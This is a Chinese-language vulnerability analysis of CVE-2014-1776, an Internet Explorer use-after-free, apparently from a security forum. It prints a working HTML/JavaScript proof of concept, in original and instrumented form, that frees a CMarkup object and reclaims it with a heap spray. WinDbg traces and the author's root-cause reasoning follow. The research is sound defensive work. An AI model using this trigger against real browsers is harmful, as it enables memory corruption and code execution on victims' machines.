CVE-2014-1776 秘狐

发布者:Ox9A82
发布于:2016-09-02 15:57

传说中的IE秘狐

 

[CNNVD]Microsoft Internet Explorer 释放后重用漏洞(CNNVD-201404-530)        

Microsoft Internet Explorer(IE)是美国微软(Microsoft)公司开发的一款Web浏览器,是Windows操作系统附带的默认浏览器。

Microsoft IE 6至11版本的VGX.DLL文件中存在释放后重用漏洞。远程攻击者可利用该漏洞执行任意代码或造成拒绝服务(内存损坏)。

 

POC:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<STYLE>
v\:* { Behavior: url(#default#VML) }
</STYLE>
<head id="l">
<title></title>
<script>
    function trigger()
    {
        var r,t,e,i;
        var o = document.getElementById("l");
        r = document.createElement("i");
        t = r;
        r = document.getElementById("k").childNodes[0].appendChild(r) ;
        r = t.appendChild(o) ;
        e = r.offsetParent;
        e.onpropertychange=fun;
        i=o.firstChild.nextSibling;
        try
        {
            i.disabled = o;
        }
        catch (e) {}
    }
    function fun() 
    {
        var g_arr = [];
        var arrLen = 0x250;
        var m_block;
 
        for (var i = 0; i < arrLen; ++i) 
        {
            g_arr[i] = document.createElement('div');
        }
        var a = unescape("%uAAAA%uAAAA") ;  
        while (a.length < 0xd8) 
        {
            a += unescape("%uBBBB%uBBBB") ;
        }
        m_block = a.substring(0, (0xd8 - 2) / 2);
        try 
        {
            this.removeNode(true);
        } 
        catch (e) {}
        CollectGarbage();
        for (var i = 0; i < (arrLen / 2); ++i) 
        {
            g_arr[i].title = m_block ;
        }
    }
</script>
</head>
<body>
<v:group id="k" style="width:500pt;">
    <div></div> 
</group>
<script>
trigger() ;
</script>
</body>
</html>

经分析得出是CMarkup对象发生的UAF

这个样本的确可以成功触发漏洞,但是这个明显是一个经过设计exp。exp的行为会干扰到我们对漏洞产生原因的分析。

 

重利用

1:021> kv
ChildEBP RetAddr  Args to Child              
041ee998 68318a98 087abfc0 6837ce50 00000000 mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6 (FPO: [0,0,2])
041ee9b8 68319d57 06dfbf30 00000003 041ee9dc mshtml!CMarkup::OnCssChange+0x52
041ee9c8 6860a5b3 00000003 087abfc0 6837ce64 mshtml!CElement::OnCssChange+0x1e
041ee9dc 6836bfc6 8001004c 00030080 6837ce50 mshtml!CStyleElement::OnPropertyChange+0xfc
041eeabc 682e4bd1 6837ce64 ffffffff 087abfcc mshtml!NUMPROPPARAMS::SetNumberProperty+0x2d9
041eead8 682e4ba1 0000ffff 0a82efd8 041eeb10 mshtml!CBase::put_BoolHelper+0x25
041eeae8 682e24dd 087abfc0 0000ffff 068e8fd0 mshtml!CBase::put_Bool+0x22
041eeb10 683f235c 087abfc0 068e8fd0 0a82efd8 mshtml!GS_VARIANTBOOL+0x19b
041eeb84 683fc75a 087abfc0 8001004c 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
041eebd4 6820c29b 087abfc0 8001004c 00000001 mshtml!CElement::ContextInvokeEx+0x9d
041eec00 683a3104 087abfc0 8001004c 00000001 mshtml!CStyleElement::VersionedInvokeEx+0x62
041eec54 645aa22a 06e9afd8 8001004c 00000001 mshtml!PlainInvokeEx+0xeb
041eec90 645aa175 0819cd10 8001004c 00000409 jscript!IDispatchExInvokeEx2+0x104
041eeccc 645aa3f6 0819cd10 00000409 0000000c jscript!IDispatchExInvokeEx+0x6a
041eed8c 645aa4a0 8001004c 0000000c 00000000 jscript!InvokeDispatchEx+0x98
041eedc0 645bd8c8 0819cd10 041eedf4 0000000c jscript!VAR::InvokeByName+0x139
041eee08 645a9c0e 0819cd10 0000000c 00000000 jscript!VAR::InvokeDispName+0x7d
041eef9c 645b5c9d 041eefb4 00000000 01876f88 jscript!CScriptRuntime::Run+0x208d
041ef084 645b5bfb 00000000 00000000 01878fa0 jscript!ScrFncObj::CallWithFrameOnStack+0xce
041ef0cc 645b74ac 00000000 00000000 01878fa0 jscript!ScrFncObj::Call+0x8d

 释放

1:021> g
Breakpoint 0 hit
eax=683720a8 ebx=06d96fe8 ecx=06fd1f30 edx=001f1078 esi=06fd1f30 edi=00000000
eip=683e12b8 esp=0419b40c ebp=0419b414 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMarkup::~CMarkup:
683e12b8 8bff            mov     edi,edi
1:021> ? esi
Evaluate expression: 117251888 = 06fd1f30
1:021> kv
ChildEBP RetAddr  Args to Child              
0419b408 683e1297 06fd1f30 0419b42c 68387dd0 mshtml!CMarkup::~CMarkup (FPO: [0,0,2])
0419b414 68387dd0 00000001 68387db6 00000000 mshtml!CMarkup::`scalar deleting destructor'+0xd
0419b41c 68387db6 00000000 06fd1f30 0419b450 mshtml!CBase::SubRelease+0x22 (FPO: [0,0,0])
0419b42c 68319de5 06fd1f30 0540b680 6831a2d4 mshtml!CBase::PrivateRelease+0x3c
0419b438 6831a2d4 0a978fd8 0a97efd8 00001400 mshtml!CMarkup::ProcessPeerTask+0x47 (FPO: [0,1,0])
0419b450 683fc6ce 08a4af30 00000000 0a978fd8 mshtml!CMarkup::ProcessPeerTasks+0xf0
0419b468 683f1e59 0a97efd8 07873260 10000003 mshtml!CElement::VersionedGetDispID+0x52
0419b4ac 68a3a304 0a978fd8 07873260 10000003 mshtml!PlainGetDispID+0xdc
0419b4dc 68a3a272 07873260 0419b518 0a978fd8 jscript!IDispatchExGetDispID+0xa5
0419b4f4 68a3a47a 06e25d10 0419b518 00000003 jscript!GetDex2DispID+0x31
0419b520 68a4d8c8 06e25d10 0419b554 0000000c jscript!VAR::InvokeByName+0xee
0419b56c 68a39c0e 06e25d10 0000000c 00000000 jscript!VAR::InvokeDispName+0x7d
0419b700 68a45c9d 0419b718 0419b85c 06e5bf88 jscript!CScriptRuntime::Run+0x208d
0419b7e8 68a45bfb 0419b85c 00000000 06e57e80 jscript!ScrFncObj::CallWithFrameOnStack+0xce
0419b830 68a45e11 0419b85c 00000000 06e57e80 jscript!ScrFncObj::Call+0x8d
0419b8ac 68a3f3ee 06e5bf88 0419baf0 00000000 jscript!CSession::Execute+0x15f
0419b994 68a3ea2e 00000000 00000001 0419ba4c jscript!NameTbl::InvokeDef+0x1b5
0419ba18 68417af1 06e5bf88 00000000 00000804 jscript!NameTbl::InvokeEx+0x12c
0419ba68 68417b91 063d2fc8 06e5bf88 00000000 mshtml!CBase::InvokeDispatchWithThis+0x1e1
0419bb94 6838a932 80010013 8001179f 0a96cfd8 mshtml!CBase::InvokeEvent+0x214

分配

    70228e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77284ea6 ntdll!RtlDebugAllocateHeap+0x00000030
    77247d96 ntdll!RtlpAllocateHeap+0x000000c4
    772134ca ntdll!RtlAllocateHeap+0x0000023a
    6830a8da mshtml!CDoc::CreateMarkupFromInfo+0x000000e2
    6831625f mshtml!CDoc::CreateMarkup+0x0000004a
    6826d0b1 mshtml!CCommentElement::`scalar deleting destructor'+0x000002d3
    681ec57d mshtml!CElement::removeNode+0x00000046
    681ec630 mshtml!Method_IDispatchpp_oDoVARIANTBOOL+0x000000cc
    683f235c mshtml!CBase::ContextInvokeEx+0x000005dc
    683fc75a mshtml!CElement::ContextInvokeEx+0x0000009d
    683fc79a mshtml!CInput::VersionedInvokeEx+0x0000002d
    683a3104 mshtml!PlainInvokeEx+0x000000eb
    67eba22a jscript!IDispatchExInvokeEx2+0x00000104
    67eba175 jscript!IDispatchExInvokeEx+0x0000006a
    67eba3f6 jscript!InvokeDispatchEx+0x00000098
    67eba4a0 jscript!VAR::InvokeByName+0x00000139
    67ecd8c8 jscript!VAR::InvokeDispName+0x0000007d
    67ecd96f jscript!VAR::InvokeByDispID+0x000000ce
    67ece3e7 jscript!CScriptRuntime::Run+0x00002b80
    67ec5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
    67ec5bfb jscript!ScrFncObj::Call+0x0000008d
    67ec5e11 jscript!CSession::Execute+0x0000015f
    67ebf3ee jscript!NameTbl::InvokeDef+0x000001b5
    67ebea2e jscript!NameTbl::InvokeEx+0x0000012c
    68417af1 mshtml!CBase::InvokeDispatchWithThis+0x000001e1
    68417b91 mshtml!CBase::InvokeEvent+0x00000214
    6838a932 mshtml!CBase::FireEvent+0x000000e1
    683d4836 mshtml!CElement::FireEvent+0x000003c4
    6840c550 mshtml!CElement::Fire_onpropertychange+0x0000005a
    6840c4d7 mshtml!CElement::Fire_PropertyChangeHelper+0x00000121
    6840c457 mshtml!CElement::OnPropertyChange+0x00000b7b

 

分析一下流程

修改POC,增加辅助语句

<html xmlns:v="urn:schemas-microsoft-com:vml">
<STYLE>
v\:* { Behavior: url(#default#VML) }
</STYLE>
<head id="l">
<title></title>
<script>
Math.tan(2,3);
    function trigger()
    {
        var r,t,e,i;
        var o = document.getElementById("l");
Math.sin(2,3);
        r = document.createElement("i");
Math.cos(2,3);
    t = r;
Math.tan(2,3);
        r = document.getElementById("k").childNodes[0].appendChild(r) ;
Math.sin(2,3);
        r = t.appendChild(o) ;
Math.cos(2,3);
        e = r.offsetParent;
Math.tan(2,3);
        e.onpropertychange=fun;
Math.sin(2,3);
        i=o.firstChild.nextSibling;
Math.cos(2,3);
        try
        {
        Math.tan(2,3);
            i.disabled = o;
        }
        catch (e) {}
    }
    function fun() 
    {
        var g_arr = [];
        var arrLen = 0x250;
        var m_block;
 
        for (var i = 0; i < arrLen; ++i) 
        {
            g_arr[i] = document.createElement('div');
        }
        var a = unescape("%uAAAA%uAAAA") ;  
        while (a.length < 0xd8) 
        {
            a += unescape("%uBBBB%uBBBB") ;
        }
        m_block = a.substring(0, (0xd8 - 2) / 2);
        try 
        {
Math.cos(2,3);
            this.removeNode(true);
        } 
        catch (e) {}
Math.tan(2,3);
        CollectGarbage();
        for (var i = 0; i < (arrLen / 2); ++i) 
        {
            g_arr[i].title = m_block ;
        }
    }
</script>
</head>
<body>
<v:group id="k" style="width:500pt;">
    <div></div> 
</group>
<script>
trigger() ;
</script>
</body>
</html> 
1:021> g
Breakpoint 0 hit
eax=00000000 ebx=040ded00 ecx=00000005 edx=00000003 esi=040decf0 edi=040decf0
eip=688bd8c0 esp=040debf4 ebp=040dec30 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!tan:
688bd8c0 ff2580108968    jmp     dword ptr [jscript!_imp__tan (68891080)] ds:0023:68891080={msvcrt!tan (758dde34)}
1:021> g
Breakpoint 2 hit
eax=00000000 ebx=040de998 ecx=00000005 edx=00000003 esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!sin:
688bd711 ff2568108968    jmp     dword ptr [jscript!_imp__sin (68891068)] ds:0023:68891068={msvcrt!sin (758d8aea)}
1:021> g
Breakpoint 1 hit
eax=00000000 ebx=040de998 ecx=00000005 edx=00000003 esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!cos:
688bd67f ff2590108968    jmp     dword ptr [jscript!_imp__cos (68891090)] ds:0023:68891090={msvcrt!cos (758d8ace)}
1:021> g
Breakpoint 0 hit
eax=00000000 ebx=040de998 ecx=00000005 edx=00000003 esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!tan:
688bd8c0 ff2580108968    jmp     dword ptr [jscript!_imp__tan (68891080)] ds:0023:68891080={msvcrt!tan (758dde34)}
1:021> g
Breakpoint 2 hit
eax=00000000 ebx=040de998 ecx=00000005 edx=00000003 esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!sin:
688bd711 ff2568108968    jmp     dword ptr [jscript!_imp__sin (68891068)] ds:0023:68891068={msvcrt!sin (758d8aea)}
1:021> g
Breakpoint 1 hit
eax=00000000 ebx=040de998 ecx=00000005 edx=00000003 esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!cos:
688bd67f ff2590108968    jmp     dword ptr [jscript!_imp__cos (68891090)] ds:0023:68891090={msvcrt!cos (758d8ace)}
1:021> g
Breakpoint 0 hit
eax=00000000 ebx=040de998 ecx=00000005 edx=00000003 esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!tan:
688bd8c0 ff2580108968    jmp     dword ptr [jscript!_imp__tan (68891080)] ds:0023:68891080={msvcrt!tan (758dde34)}
1:021> g
Breakpoint 1 hit
eax=00000000 ebx=040ddae0 ecx=00000005 edx=00000003 esi=040ddad0 edi=040ddad0
eip=688bd67f esp=040dd9b4 ebp=040dd9f0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!cos:
688bd67f ff2590108968    jmp     dword ptr [jscript!_imp__cos (68891090)] ds:0023:68891090={msvcrt!cos (758d8ace)}
1:021> g
Breakpoint 3 hit
eax=040dd934 ebx=00000001 ecx=00000000 edx=6837c8f9 esi=05741680 edi=00000000
eip=68316215 esp=040dd854 ebp=040dd938 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CDoc::CreateMarkup:
68316215 8bff            mov     edi,edi
1:021> g
Breakpoint 0 hit
eax=00000000 ebx=040ddae0 ecx=00000005 edx=00000003 esi=040ddad0 edi=040ddad0
eip=688bd8c0 esp=040dd9b4 ebp=040dd9f0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!tan:
688bd8c0 ff2580108968    jmp     dword ptr [jscript!_imp__tan (68891080)] ds:0023:68891080={msvcrt!tan (758dde34)}
1:021> g
Breakpoint 2 hit
eax=00000000 ebx=040de998 ecx=00000005 edx=00000003 esi=040de988 edi=040de988
eip=688bd711 esp=040de874 ebp=040de8b0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!sin:
688bd711 ff2568108968    jmp     dword ptr [jscript!_imp__sin (68891068)] ds:0023:68891068={msvcrt!sin (758d8aea)}
1:021> g
Breakpoint 1 hit
eax=00000000 ebx=040de998 ecx=00000005 edx=00000003 esi=040de988 edi=040de988
eip=688bd67f esp=040de874 ebp=040de8b0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!cos:
688bd67f ff2590108968    jmp     dword ptr [jscript!_imp__cos (68891090)] ds:0023:68891090={msvcrt!cos (758d8ace)}
1:021> g
Breakpoint 0 hit
eax=00000000 ebx=040de998 ecx=00000005 edx=00000003 esi=040de988 edi=040de988
eip=688bd8c0 esp=040de874 ebp=040de8b0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!tan:
688bd8c0 ff2580108968    jmp     dword ptr [jscript!_imp__tan (68891080)] ds:0023:68891080={msvcrt!tan (758dde34)}
1:021> g
Breakpoint 1 hit
eax=00000000 ebx=040db3a0 ecx=00000005 edx=00000003 esi=040db390 edi=040db390
eip=688bd67f esp=040db274 ebp=040db2b0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!cos:
688bd67f ff2590108968    jmp     dword ptr [jscript!_imp__cos (68891090)] ds:0023:68891090={msvcrt!cos (758d8ace)}
1:021> g
Breakpoint 3 hit
eax=040db1f4 ebx=00000001 ecx=07b9ff30 edx=6837c8f9 esi=05741680 edi=00000000
eip=68316215 esp=040db114 ebp=040db1f8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CDoc::CreateMarkup:
68316215 8bff            mov     edi,edi
1:021> g
Breakpoint 0 hit
eax=00000000 ebx=040db3a0 ecx=00000005 edx=00000003 esi=040db390 edi=040db390
eip=688bd8c0 esp=040db274 ebp=040db2b0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!tan:
688bd8c0 ff2580108968    jmp     dword ptr [jscript!_imp__tan (68891080)] ds:0023:68891080={msvcrt!tan (758dde34)}
1:021> g
(e68.584): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07caff30 ebx=07caff30 ecx=a06dfdb5 edx=68335438 esi=07caff30 edi=0824efc0
eip=68318d1d esp=040de6ec ebp=040de710 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6:
68318d1d 8b465c          mov     eax,dword ptr [esi+5Ch] ds:0023:07caff8c=????????

通过分析发现

 this.removeNode(true);

一句的执行导致了CDoc::CreateMarkup函数创建

CDoc::CreateMarkup其实是对CDoc::CreateMarkupFromInfo的简单封装,CDoc::CreateMarkupFromInfo方法中通过HeapAlloc函数来分配内存。

通过此种方式获取分配的内存地址,最后发现UAF对象其实是第一个CreateMarkup函数进行分配的。

1:020> g
Breakpoint 0 hit
eax=00000000 ebx=042bde78 ecx=00000005 edx=00000003 esi=042bde68 edi=042bde68
eip=67edd8c0 esp=042bdd74 ebp=042bddb0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
jscript!tan:
67edd8c0 ff258010eb67    jmp     dword ptr [jscript!_imp__tan (67eb1080)] ds:0023:67eb1080={msvcrt!tan (758dde34)}
1:020> bl
 0 e 67edd8c0     0001 (0001)  1:**** jscript!tan
 1 e 67edd67f     0001 (0001)  1:**** jscript!cos
 2 e 67edd711     0001 (0001)  1:**** jscript!sin
1:020> bu mshtml!CMarkup::~CMarkup
1:020> g
Breakpoint 2 hit
eax=00000000 ebx=042bed30 ecx=00000005 edx=00000003 esi=042bed20 edi=042bed20
eip=67edd711 esp=042bec34 ebp=042bec70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!sin:
67edd711 ff256810eb67    jmp     dword ptr [jscript!_imp__sin (67eb1068)] ds:0023:67eb1068={msvcrt!sin (758d8aea)}
1:020> g
Breakpoint 1 hit
eax=00000000 ebx=042bed30 ecx=00000005 edx=00000003 esi=042bed20 edi=042bed20
eip=67edd67f esp=042bec34 ebp=042bec70 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!cos:
67edd67f ff259010eb67    jmp     dword ptr [jscript!_imp__cos (67eb1090)] ds:0023:67eb1090={msvcrt!cos (758d8ace)}
1:020> g
Breakpoint 0 hit
eax=00000000 ebx=042bb738 ecx=00000005 edx=00000003 esi=042bb728 edi=042bb728
eip=67edd8c0 esp=042bb634 ebp=042bb670 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
jscript!tan:
67edd8c0 ff258010eb67    jmp     dword ptr [jscript!_imp__tan (67eb1080)] ds:0023:67eb1080={msvcrt!tan (758dde34)}
1:020> g
Breakpoint 3 hit
eax=683720a8 ebx=0653efe8 ecx=07117f30 edx=00051078 esi=07117f30 edi=00000000
eip=683e12b8 esp=042bb7a4 ebp=042bb7ac iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CMarkup::~CMarkup:
683e12b8 8bff            mov     edi,edi
1:020> ? ecx
Evaluate expression: 118587184 = 07117f30
1:020> g
(b74.e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=07117f30 ebx=07117f30 ecx=9f3dcc40 edx=68335438 esi=07117f30 edi=08392fc0
eip=68318d1d esp=042bea84 ebp=042beaa8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CMarkup::IsConnectedToPrimaryMarkup+0x6:
68318d1d 8b465c          mov     eax,dword ptr [esi+5Ch] ds:0023:07117f8c=????????

没有明显的js语句对应于释放和重用。

对象应该是因为引用计数耗尽而被释放的。

向上跟踪最后崩溃的位置,发现悬垂指针是处于CStyleElement+0x24的位置

根据OnCssChange函数我猜测是当css结构变动导致的引用了CStyleElement中指向已释放的CMarkup对象的悬垂指针。


声明:该文观点仅代表作者本人,转载请注明来自看雪